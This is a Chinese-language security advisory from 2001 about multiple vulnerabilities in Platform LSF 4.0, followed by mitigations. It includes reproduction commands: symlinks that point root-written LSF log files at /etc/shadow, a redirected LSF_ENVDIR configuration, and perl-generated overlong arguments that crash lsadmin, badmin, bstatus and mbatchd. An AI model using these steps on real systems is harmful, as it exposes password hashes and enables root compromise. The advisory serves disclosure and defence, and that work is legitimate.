LSF 存在多个安全漏洞发布时间:2001-12-13 更新时间:2001-12-13 严重程度:高 威胁程度:本地管理员权限 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 LSF version 4.0详细描述 Load Sharing Facility (http://www.platform.com/)是资源管理应用程序,其中 存在安全漏洞可以导致本地用户读受限文件系统或者可能获得ROOT权利访问。 1)默认日志配置可以导致攻击者读系统上任意文件。 默认LSF配置,所有LSF日志保存在/tmp目录下,问题是程序使用root权利写这些 日志文件,而且没有对日志文件进行任何检查,因此,使用符号连接可以导致读 任意系统文件。 $ ln -s /etc/shadow /tmp/lim.log.hostname LSF会追加日志到/etc/shadow文件并改变文件权限可以导致任意用户可读。 2)每个用户有自己配置文件,可以导致攻击者读任意文件。 每个用户有自己可定制的配置文件存在问题,攻击者可以强迫LSF应用程序做不 期望的事情如改变LSF_ENVDIR可以导致它指向你Home目录: % setenv LSF_ENVDIR /my/home/dir 拷贝LSF配置文件到你自己home目录: % cp /etc/lsf.conf /my/home/dir/lsf.conf 在/my/home/dir/lsf.conf做如下改变: LSB_CMD_LOGDIR=/tmp/test LSF_LOGDIR=/tmp/test 建立一个/tmp/test目录: % mkdir /tmp/test 建立一个符号连接把日志文件连接到/etc/shadow: % ln -s /etc/shadow /tmp/test/bqc.log.hostname [ 'hostname' is your hostname ] 然后执行: % bqc -i non_existent 3)lsadmin和badmin可执行文件存在漏洞,可以导致攻击者获得ROOT权限: % setenv LSF_ENVDIR `perl -e 'print "A" x 292'` % lsadmin [or badmin] Segmentation fault 4)如果没有使用'eauth'作为认证机制,LSF以suid=root安装,存在多个缓冲溢出: % bstatus `perl -e 'print "A" x 524'` [You may need more than 524] 5)'mbatchd'守护程序存在远程溢出。 % bstatus -d AAA -J `perl -e 'print "A" x 500'` Job <0>: XDR encode/decode error % bjobs batch system daemon not responding ... still trying % tail -2 sbatchd.log.hostanme 17:18:37 2001 87317 3 4.0.1 mbatchd died with signal <11> termination 17:18:37 2001 87317 3 4.0.1 mbatchd core dumped 测试代码 见描述 解决方案 1漏洞解决方法: 改变日志默认目录,编辑/etc/lsf.conf的LSF_LOGDIR 变量,并限制只有ROOT可以 访问此目录。 2,3,4漏洞解决方法: 使用'eauth'认证方法,你可以在lsf.conf使用LSF_AUTH=eauth变量,这个环境下 只有两个suid root安装的程序'lsadmin'和'badmin'. 然后设置'lsadmin'和'badmin'.为700。 相关信息 cadence at apollo.aci.com.pl 参考:http://www.securiteam.com/unixfocus/6Q00J0A3FQ.html |